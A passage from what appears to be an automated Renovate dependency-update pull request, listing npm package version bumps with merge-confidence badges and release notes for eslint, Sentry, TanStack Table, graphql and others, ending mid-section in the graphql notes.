| [@aws-sdk/client-s3](https://redirect.github.com/aws/aws-sdk-js-v3/tree/main/clients/client-s3) ([source](https://redirect.github.com/aws/aws-sdk-js-v3/tree/HEAD/clients/client-s3)) | [`3.709.0` -> `3.712.0`](https://renovatebot.com/diffs/npm/@aws-sdk%2fclient-s3/3.709.0/3.712.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@aws-sdk%2fclient-s3/3.712.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@aws-sdk%2fclient-s3/3.712.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@aws-sdk%2fclient-s3/3.709.0/3.712.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@aws-sdk%2fclient-s3/3.709.0/3.712.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@commitlint/cli](https://commitlint.js.org/) ([source](https://redirect.github.com/conventional-changelog/commitlint/tree/HEAD/@commitlint/cli)) | [`19.6.0` -> `19.6.1`](https://renovatebot.com/diffs/npm/@commitlint%2fcli/19.6.0/19.6.1) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@commitlint%2fcli/19.6.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@commitlint%2fcli/19.6.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@commitlint%2fcli/19.6.0/19.6.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@commitlint%2fcli/19.6.0/19.6.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@eslint/js](https://eslint.org) ([source](https://redirect.github.com/eslint/eslint/tree/HEAD/packages/js)) | [`9.16.0` -> `9.17.0`](https://renovatebot.com/diffs/npm/@eslint%2fjs/9.16.0/9.17.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@eslint%2fjs/9.17.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@eslint%2fjs/9.17.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@eslint%2fjs/9.16.0/9.17.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@eslint%2fjs/9.16.0/9.17.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@oxc-node/core](https://redirect.github.com/oxc-project/oxc-node) | [`^0.0.15` -> `^0.0.16`](https://renovatebot.com/diffs/npm/@oxc-node%2fcore/0.0.15/0.0.16) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@oxc-node%2fcore/0.0.16?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@oxc-node%2fcore/0.0.16?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@oxc-node%2fcore/0.0.15/0.0.16?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@oxc-node%2fcore/0.0.15/0.0.16?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@sentry/react](https://redirect.github.com/getsentry/sentry-javascript/tree/master/packages/react) ([source](https://redirect.github.com/getsentry/sentry-javascript)) | [`8.44.0` -> `8.45.0`](https://renovatebot.com/diffs/npm/@sentry%2freact/8.44.0/8.45.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@sentry%2freact/8.45.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@sentry%2freact/8.45.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@sentry%2freact/8.44.0/8.45.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@sentry%2freact/8.44.0/8.45.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@tanstack/react-table](https://tanstack.com/table) ([source](https://redirect.github.com/TanStack/table/tree/HEAD/packages/react-table)) | [`8.20.5` -> `8.20.6`](https://renovatebot.com/diffs/npm/@tanstack%2freact-table/8.20.5/8.20.6) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@tanstack%2freact-table/8.20.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@tanstack%2freact-table/8.20.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@tanstack%2freact-table/8.20.5/8.20.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@tanstack%2freact-table/8.20.5/8.20.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [commitlint](https://commitlint.js.org/) ([source](https://redirect.github.com/conventional-changelog/commitlint/tree/HEAD/@alias/commitlint)) | [`19.6.0` -> `19.6.1`](https://renovatebot.com/diffs/npm/commitlint/19.6.0/19.6.1) | [![age](https://developer.mend.io/api/mc/badges/age/npm/commitlint/19.6.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/commitlint/19.6.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/commitlint/19.6.0/19.6.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/commitlint/19.6.0/19.6.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [fast-xml-parser](https://redirect.github.com/NaturalIntelligence/fast-xml-parser) | [`4.5.0` -> `4.5.1`](https://renovatebot.com/diffs/npm/fast-xml-parser/4.5.0/4.5.1) | [![age](https://developer.mend.io/api/mc/badges/age/npm/fast-xml-parser/4.5.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/fast-xml-parser/4.5.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/fast-xml-parser/4.5.0/4.5.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/fast-xml-parser/4.5.0/4.5.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [graphql](https://redirect.github.com/graphql/graphql-js) | [`16.9.0` -> `16.10.0`](https://renovatebot.com/diffs/npm/graphql/16.9.0/16.10.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/graphql/16.10.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/graphql/16.10.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/graphql/16.9.0/16.10.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/graphql/16.9.0/16.10.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [idb](https://redirect.github.com/jakearchibald/idb) | [`8.0.0` -> `8.0.1`](https://renovatebot.com/diffs/npm/idb/8.0.0/8.0.1) | [![age](https://developer.mend.io/api/mc/badges/age/npm/idb/8.0.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/idb/8.0.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/idb/8.0.0/8.0.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/idb/8.0.0/8.0.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [marked](https://marked.js.org) ([source](https://redirect.github.com/markedjs/marked)) | [`15.0.3` -> `15.0.4`](https://renovatebot.com/diffs/npm/marked/15.0.3/15.0.4) | [![age](https://developer.mend.io/api/mc/badges/age/npm/marked/15.0.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/marked/15.0.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/marked/15.0.3/15.0.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/marked/15.0.3/15.0.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [msw](https://mswjs.io) ([source](https://redirect.github.com/mswjs/msw)) | [`2.6.8` -> `2.6.9`](https://renovatebot.com/diffs/npm/msw/2.6.8/2.6.9) | [![age](https://developer.mend.io/api/mc/badges/age/npm/msw/2.6.9?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/msw/2.6.9?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/msw/2.6.8/2.6.9?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/msw/2.6.8/2.6.9?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [nodemon](https://nodemon.io) ([source](https://redirect.github.com/remy/nodemon)) | [`3.1.7` -> `3.1.9`](https://renovatebot.com/diffs/npm/nodemon/3.1.7/3.1.9) | [![age](https://developer.mend.io/api/mc/badges/age/npm/nodemon/3.1.9?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/nodemon/3.1.9?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/nodemon/3.1.7/3.1.9?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/nodemon/3.1.7/3.1.9?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [openai](https://redirect.github.com/openai/openai-node) | [`4.76.2` -> `4.76.3`](https://renovatebot.com/diffs/npm/openai/4.76.2/4.76.3) | [![age](https://developer.mend.io/api/mc/badges/age/npm/openai/4.76.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/openai/4.76.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/openai/4.76.2/4.76.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/openai/4.76.2/4.76.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [react-day-picker](https://daypicker.dev) ([source](https://redirect.github.com/gpbl/react-day-picker)) | [`9.4.3` -> `9.4.4`](https://renovatebot.com/diffs/npm/react-day-picker/9.4.3/9.4.4) | [![age](https://developer.mend.io/api/mc/badges/age/npm/react-day-picker/9.4.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/react-day-picker/9.4.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/react-day-picker/9.4.3/9.4.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/react-day-picker/9.4.3/9.4.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [terser-webpack-plugin](https://redirect.github.com/webpack-contrib/terser-webpack-plugin) | [`5.3.10` -> `5.3.11`](https://renovatebot.com/diffs/npm/terser-webpack-plugin/5.3.10/5.3.11) | [![age](https://developer.mend.io/api/mc/badges/age/npm/terser-webpack-plugin/5.3.11?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/terser-webpack-plugin/5.3.11?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/terser-webpack-plugin/5.3.10/5.3.11?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/terser-webpack-plugin/5.3.10/5.3.11?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [typedoc](https://typedoc.org) ([source](https://redirect.github.com/TypeStrong/TypeDoc)) | [`0.27.4` -> `0.27.5`](https://renovatebot.com/diffs/npm/typedoc/0.27.4/0.27.5) | [![age](https://developer.mend.io/api/mc/badges/age/npm/typedoc/0.27.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/typedoc/0.27.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/typedoc/0.27.4/0.27.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/typedoc/0.27.4/0.27.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [vaul](https://vaul.emilkowal.ski/) ([source](https://redirect.github.com/emilkowalski/vaul)) | [`1.1.1` -> `1.1.2`](https://renovatebot.com/diffs/npm/vaul/1.1.1/1.1.2) | [![age](https://developer.mend.io/api/mc/badges/age/npm/vaul/1.1.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/vaul/1.1.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/vaul/1.1.1/1.1.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/vaul/1.1.1/1.1.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) |

---

### Release Notes

<details>
<summary>aws/aws-sdk-js-v3 (@&#8203;aws-sdk/client-s3)</summary>

### [`v3.712.0`](https://redirect.github.com/aws/aws-sdk-js-v3/blob/HEAD/clients/client-s3/CHANGELOG.md#37120-2024-12-13)

[Compare Source](https://redirect.github.com/aws/aws-sdk-js-v3/compare/v3.709.0...v3.712.0)

**Note:** Version bump only for package [@&#8203;aws-sdk/client-s3](https://redirect.github.com/aws-sdk/client-s3)

</details>

<details>
<summary>conventional-changelog/commitlint (@&#8203;commitlint/cli)</summary>

### [`v19.6.1`](https://redirect.github.com/conventional-changelog/commitlint/blob/HEAD/@&#8203;commitlint/cli/CHANGELOG.md#1961-2024-12-15)

[Compare Source](https://redirect.github.com/conventional-changelog/commitlint/compare/v19.6.0...v19.6.1)

**Note:** Version bump only for package [@&#8203;commitlint/cli](https://redirect.github.com/commitlint/cli)

</details>

<details>
<summary>eslint/eslint (@&#8203;eslint/js)</summary>

### [`v9.17.0`](https://redirect.github.com/eslint/eslint/releases/tag/v9.17.0)

[Compare Source](https://redirect.github.com/eslint/eslint/compare/v9.16.0...v9.17.0)

#### Features

-   [`eed91d1`](https://redirect.github.com/eslint/eslint/commit/eed91d12d4d265bd32905dd1fbf8a6d5dbcdb54a) feat: add suggestions to `no-unused-vars` ([#&#8203;18352](https://redirect.github.com/eslint/eslint/issues/18352)) (Tanuj Kanti)

#### Bug Fixes

-   [`67d683d`](https://redirect.github.com/eslint/eslint/commit/67d683df29d873002299c70736dacea731b69f5d) fix: fix crash when `message.fix` is nullish ([#&#8203;19168](https://redirect.github.com/eslint/eslint/issues/19168)) (ntnyq)
-   [`c618707`](https://redirect.github.com/eslint/eslint/commit/c61870715e5bc1cb51c45a8efd72f392502807b8) fix: ignore vars with non-identifier references in no-useless-assignment ([#&#8203;19200](https://redirect.github.com/eslint/eslint/issues/19200)) (YeonJuan)

#### Documentation

-   [`3c22d2a`](https://redirect.github.com/eslint/eslint/commit/3c22d2accedd7b0bc381a4eee2c3db4df657b236) docs: update `yoda` to `Yoda` in `yoda.md` for consistency ([#&#8203;19230](https://redirect.github.com/eslint/eslint/issues/19230)) (루밀LuMir)
-   [`e0a2203`](https://redirect.github.com/eslint/eslint/commit/e0a220355f447b3674b758776344959ce746b5e3) docs: add missing backticks to `no-sequences` ([#&#8203;19233](https://redirect.github.com/eslint/eslint/issues/19233)) (루밀LuMir)
-   [`4cc4881`](https://redirect.github.com/eslint/eslint/commit/4cc48812cdfd686304b5b3b71ea70cd7f2d8389a) docs: Update README (GitHub Actions Bot)
-   [`3db6fdf`](https://redirect.github.com/eslint/eslint/commit/3db6fdf885b17d25103e3cddc31fea56542e064d) docs: \[no-await-in-loop] expand on benefits and inapplicability ([#&#8203;19211](https://redirect.github.com/eslint/eslint/issues/19211)) (Kirk Waiblinger)
-   [`bf2a4f6`](https://redirect.github.com/eslint/eslint/commit/bf2a4f686bb387711e269b08f13771e4208113f0) docs: add missing backticks to `func-style` ([#&#8203;19227](https://redirect.github.com/eslint/eslint/issues/19227)) (루밀LuMir)
-   [`ba098bd`](https://redirect.github.com/eslint/eslint/commit/ba098bd03c9943007ec77d628dc59f7eaf60f871) docs: add missing header to `prefer-spread` ([#&#8203;19224](https://redirect.github.com/eslint/eslint/issues/19224)) (루밀LuMir)
-   [`b607ae6`](https://redirect.github.com/eslint/eslint/commit/b607ae64913ca2b6450a74344ab0ad548e314915) docs: update description of `no-param-reassign` ([#&#8203;19220](https://redirect.github.com/eslint/eslint/issues/19220)) (루밀LuMir)
-   [`1eb424d`](https://redirect.github.com/eslint/eslint/commit/1eb424de558fba301eaef9a7fce256539b48dee3) docs: add missing backticks to `prefer-destructuring` ([#&#8203;19223](https://redirect.github.com/eslint/eslint/issues/19223)) (루밀LuMir)
-   [`85998d1`](https://redirect.github.com/eslint/eslint/commit/85998d14051c7a0c5b7b6da8cfda13dc1fc7c153) docs: add missing backticks to `no-unneeded-ternary` ([#&#8203;19222](https://redirect.github.com/eslint/eslint/issues/19222)) (루밀LuMir)
-   [`b75b32c`](https://redirect.github.com/eslint/eslint/commit/b75b32c091f0742788ecf232f52d9e9427008526) docs: add missing backticks to `no-new-func` ([#&#8203;19219](https://redirect.github.com/eslint/eslint/issues/19219)) (루밀LuMir)
-   [`a7700bc`](https://redirect.github.com/eslint/eslint/commit/a7700bcc9c566b3e348a72f3e6a4a6f5ac3345a4) docs: add missing backticks to `id-length` ([#&#8203;19217](https://redirect.github.com/eslint/eslint/issues/19217)) (루밀LuMir)
-   [`e2bb429`](https://redirect.github.com/eslint/eslint/commit/e2bb429974ae397c1c1cc495fa7630441c9da61a) docs: add missing backticks to `complexity.md` ([#&#8203;19214](https://redirect.github.com/eslint/eslint/issues/19214)) (루밀LuMir)
-   [`045d716`](https://redirect.github.com/eslint/eslint/commit/045d716b92276720961e950e6a259ef40e8e07ea) docs: add missing `)` to `id-denylist` ([#&#8203;19213](https://redirect.github.com/eslint/eslint/issues/19213)) (루밀LuMir)
-   [`7fe4114`](https://redirect.github.com/eslint/eslint/commit/7fe4114be2e714506fd406ea4474430ea3de0f93) docs: Update README (GitHub Actions Bot)
-   [`c743ba6`](https://redirect.github.com/eslint/eslint/commit/c743ba6402a27130f8b7700ae0816b087e20085d) docs: add CSS language to `no-restricted-syntax` ([#&#8203;19208](https://redirect.github.com/eslint/eslint/issues/19208)) (Milos Djermanovic)
-   [`1416d70`](https://redirect.github.com/eslint/eslint/commit/1416d70d4358a57e99e810dd25ac0e6263924c02) docs: add missing backticks to `eqeqeq` ([#&#8203;19207](https://redirect.github.com/eslint/eslint/issues/19207)) (루밀LuMir)
-   [`b950c1b`](https://redirect.github.com/eslint/eslint/commit/b950c1b7db28cc569a53b6677b71a40f1fe3bf98) docs: add missing backticks to `prefer-object-spread` ([#&#8203;19206](https://redirect.github.com/eslint/eslint/issues/19206)) (루밀LuMir)
-   [`8a941cb`](https://redirect.github.com/eslint/eslint/commit/8a941cb776d0872236c33027bcff6337739a6ddb) docs: update docs and `description` of `require-unicode-regexp` ([#&#8203;19205](https://redirect.github.com/eslint/eslint/issues/19205)) (루밀LuMir)
-   [`cbab228`](https://redirect.github.com/eslint/eslint/commit/cbab2281ddd583ddddfb55151babbd9ea59eb078) docs: Update README (GitHub Actions Bot)
-   [`f2257ce`](https://redirect.github.com/eslint/eslint/commit/f2257ce41278dd85170d4d102969738bcabd5903) docs: update comments and `description` of `no-script-url` ([#&#8203;19203](https://redirect.github.com/eslint/eslint/issues/19203)) (루밀LuMir)
-   [`365f0f4`](https://redirect.github.com/eslint/eslint/commit/365f0f4df7045c42de0f9624c488d62cf7f6cece) docs: add missing backtick to `default-case-last` ([#&#8203;19202](https://redirect.github.com/eslint/eslint/issues/19202)) (루밀LuMir)
-   [`e6b84f5`](https://redirect.github.com/eslint/eslint/commit/e6b84f535e84050b0c63ae304eb17f9d181ac299) docs: add missing punctuation in document ([#&#8203;19161](https://redirect.github.com/eslint/eslint/issues/19161)) (루밀LuMir)
-   [`c88708e`](https://redirect.github.com/eslint/eslint/commit/c88708e0571b62ee5d6c6168373e4204ec75b931) docs: replace quote with backtick in `description` of `for-direction` ([#&#8203;19199](https://redirect.github.com/eslint/eslint/issues/19199)) (루밀LuMir)
-   [`a76f233`](https://redirect.github.com/eslint/eslint/commit/a76f233a67abebf861efc0dd06cde2187abbd273) docs: use higher contrast color tokens for code comments ([#&#8203;19187](https://redirect.github.com/eslint/eslint/issues/19187)) (Josh Goldberg )
-   [`db19502`](https://redirect.github.com/eslint/eslint/commit/db195024978044b7457d5d551299f96f6b60caed) docs: Update README (GitHub Actions Bot)

#### Chores

-   [`cc243c9`](https://redirect.github.com/eslint/eslint/commit/cc243c948226a585f01d3e68b4cedbabcc5e0e40) chore: upgrade to `@eslint/js@9.17.0` ([#&#8203;19242](https://redirect.github.com/eslint/eslint/issues/19242)) (Francesco Trotta)
-   [`84c5787`](https://redirect.github.com/eslint/eslint/commit/84c57877801da729265cf9ce11d325c0be8c82b1) chore: package.json update for [@&#8203;eslint/js](https://redirect.github.com/eslint/js) release (Jenkins)
-   [`4c4f53b`](https://redirect.github.com/eslint/eslint/commit/4c4f53b8c961dd6aed6c0cdca303018d805a59fe) chore: add missing backticks to `flags.js` ([#&#8203;19226](https://redirect.github.com/eslint/eslint/issues/19226)) (루밀LuMir)
-   [`4b3132c`](https://redirect.github.com/eslint/eslint/commit/4b3132c3f55db6b51665c4c42bb762d00e266262) chore: update dependency eslint-plugin-expect-type to ^0.6.0 ([#&#8203;19221](https://redirect.github.com/eslint/eslint/issues/19221)) (renovate\[bot])
-   [`9bf2204`](https://redirect.github.com/eslint/eslint/commit/9bf220464a594d44744fd35d688c61159366b8ea) chore: add type definitions for the `eslint-config-eslint` package ([#&#8203;19050](https://redirect.github.com/eslint/eslint/issues/19050)) (Arya Emami)
-   [`ee8c220`](https://redirect.github.com/eslint/eslint/commit/ee8c2200a19dd55aa5068b6cd336a2aec7c52ad3) chore: fix incorrect `name` property in `integration-tutorial-code` ([#&#8203;19218](https://redirect.github.com/eslint/eslint/issues/19218)) (루밀LuMir)
-   [`cca801d`](https://redirect.github.com/eslint/eslint/commit/cca801dd17931cfd913456569b41f6132d0366aa) chore: Upgrade cross-spawn to 7.0.6 ([#&#8203;19185](https://redirect.github.com/eslint/eslint/issues/19185)) (folortin)

</details>

<details>
<summary>oxc-project/oxc-node (@&#8203;oxc-node/core)</summary>

### [`v0.0.16`](https://redirect.github.com/oxc-project/oxc-node/blob/HEAD/CHANGELOG.md#0016-2024-12-13)

[Compare Source](https://redirect.github.com/oxc-project/oxc-node/compare/v0.0.15...v0.0.16)

**Note:** Version bump only for package oxc-node

</details>

<details>
<summary>getsentry/sentry-javascript (@&#8203;sentry/react)</summary>

### [`v8.45.0`](https://redirect.github.com/getsentry/sentry-javascript/blob/HEAD/CHANGELOG.md#8450)

[Compare Source](https://redirect.github.com/getsentry/sentry-javascript/compare/8.44.0...8.45.0)

-   feat(core): Add `handled` option to `captureConsoleIntegration` ([#&#8203;14664](https://redirect.github.com/getsentry/sentry-javascript/pull/14664))
-   feat(browser): Attach virtual stack traces to `HttpClient` events ([#&#8203;14515](https://redirect.github.com/getsentry/sentry-javascript/pull/14515))
-   feat(replay): Upgrade rrweb packages to 2.31.0 ([#&#8203;14689](https://redirect.github.com/getsentry/sentry-javascript/pull/14689))
-   fix(aws-serverless): Remove v8 layer as it overwrites the current layer for docs ([#&#8203;14679](https://redirect.github.com/getsentry/sentry-javascript/pull/14679))
-   fix(browser): Mark stack trace from `captureMessage` with `attachStacktrace: true` as synthetic ([#&#8203;14668](https://redirect.github.com/getsentry/sentry-javascript/pull/14668))
-   fix(core): Mark stack trace from `captureMessage` with `attatchStackTrace: true` as synthetic ([#&#8203;14670](https://redirect.github.com/getsentry/sentry-javascript/pull/14670))
-   fix(core): Set `level` in server runtime `captureException` ([#&#8203;10587](https://redirect.github.com/getsentry/sentry-javascript/pull/10587))
-   fix(profiling-node): Guard invocation of native profiling methods ([#&#8203;14676](https://redirect.github.com/getsentry/sentry-javascript/pull/14676))
-   fix(nuxt): Inline nitro-utils function ([#&#8203;14680](https://redirect.github.com/getsentry/sentry-javascript/pull/14680))
-   fix(profiling-node): Ensure profileId is added to transaction event ([#&#8203;14681](https://redirect.github.com/getsentry/sentry-javascript/pull/14681))
-   fix(react): Add React Router Descendant Routes support ([#&#8203;14304](https://redirect.github.com/getsentry/sentry-javascript/pull/14304))
-   fix: Disable ANR and Local Variables if debugger is enabled via CLI args ([#&#8203;14643](https://redirect.github.com/getsentry/sentry-javascript/pull/14643))

Work in this release was contributed by [@&#8203;anonrig](https://redirect.github.com/anonrig) and [@&#8203;Zih0](https://redirect.github.com/Zih0). Thank you for your contributions!

</details>

<details>
<summary>TanStack/table (@&#8203;tanstack/react-table)</summary>

### [`v8.20.6`](https://redirect.github.com/TanStack/table/releases/tag/v8.20.6)

[Compare Source](https://redirect.github.com/TanStack/table/compare/v8.20.5...v8.20.6)

Version 8.20.6 - 12/13/24, 2:34 PM

#### Changes

##### Fix

-   JSX namespace from React ([#&#8203;5830](https://redirect.github.com/TanStack/table/issues/5830)) ([`cbcea6a`](https://redirect.github.com/TanStack/table/commit/cbcea6a)) by Bill Collins

##### Chore

-   update [@&#8203;tanstack/config](https://redirect.github.com/tanstack/config) to v0.13.0 ([#&#8203;5731](https://redirect.github.com/TanStack/table/issues/5731)) ([`2db4061`](https://redirect.github.com/TanStack/table/commit/2db4061)) by Lachlan Collins

##### Docs

-   Updated some incomplete docs ([#&#8203;5741](https://redirect.github.com/TanStack/table/issues/5741)) ([`6b4d616`](https://redirect.github.com/TanStack/table/commit/6b4d616)) by M Hamid
-   Fix label typo in config.json ([#&#8203;5712](https://redirect.github.com/TanStack/table/issues/5712)) ([`7fe650d`](https://redirect.github.com/TanStack/table/commit/7fe650d)) by Petter Juterud Barhaugen

#### Packages

-   [@&#8203;tanstack/react-table](https://redirect.github.com/tanstack/react-table)[@&#8203;8](https://redirect.github.com/8).20.6
-   [@&#8203;tanstack/react-table-devtools](https://redirect.github.com/tanstack/react-table-devtools)[@&#8203;8](https://redirect.github.com/8).20.6

</details>

<details>
<summary>conventional-changelog/commitlint (commitlint)</summary>

### [`v19.6.1`](https://redirect.github.com/conventional-changelog/commitlint/blob/HEAD/@&#8203;alias/commitlint/CHANGELOG.md#1961-2024-12-15)

[Compare Source](https://redirect.github.com/conventional-changelog/commitlint/compare/v19.6.0...v19.6.1)

**Note:** Version bump only for package commitlint

</details>

<details>
<summary>NaturalIntelligence/fast-xml-parser (fast-xml-parser)</summary>

### [`v4.5.1`](https://redirect.github.com/NaturalIntelligence/fast-xml-parser/compare/v4.5.0...v4.5.1)

[Compare Source](https://redirect.github.com/NaturalIntelligence/fast-xml-parser/compare/v4.5.0...v4.5.1)

</details>

<details>
<summary>graphql/graphql-js (graphql)</summary>

### [`v16.10.0`](https://redirect.github.com/graphql/graphql-js/releases/tag/v16.10.0): 16.10.0

[Compare Source](https://redirect.github.com/graphql/graphql-js/compare/v16.9.0...v16.10.0)

#### v16.10.0 (2024-12-15)

##### New Feature 🚀

-   [#&#8203;4286](https://redirect.github.com/graphql/graphql-js/pull/4286) fix: properly type `extensions` in GraphQLFormattedError ([@&#8203;tpoisseau](https://redirect.github.com/tpoisseau))
-   [#&#8203;4292](https://redirect.github.com/graphql/graphql-js/pull/4292) Expose tokenCount on the DocumentNode ([@&#8203;JoviDeCroock](https://redirect.github.com/JoviDeCroock))

##### Bug Fix 🐞

-   [#&#8203;4137](https://redirect.github.com/graphql/graphql-js/pull/4137) backport(v16): Require non-empty directive locations ([#&#8203;4100](https://redirect.github.com/graphql/graphql-js/issues/4100)) ([@&#8203;benjie](https://redirect.github.com/benjie))
-   [#&#8203;4168](https://redirect.github.com/graphql/graphql-js/pull/4168) fix(validation): catch OverlappingFieldsCanBeMergedRule violations with nested fragments ([@&#8203;sachindshinde](https://redirect.github.com/sachindshinde))
-   [#&#8203;4226](https://redirect.github.com/graphql/graphql-js/pull/4226) Backport introspection type fix ([@&#8203;JoviDeCroock](https://redirect.github.com/JoviDeCroock))
-   [#&#8203;4291](https://redirect.github.com/graphql/graphql-js/pull/4291) Address empty selection-set ([@&#8203;JoviDeCroock](https://redirect.github.com/JoviDeCroock))

##### Docs 📝

<details>
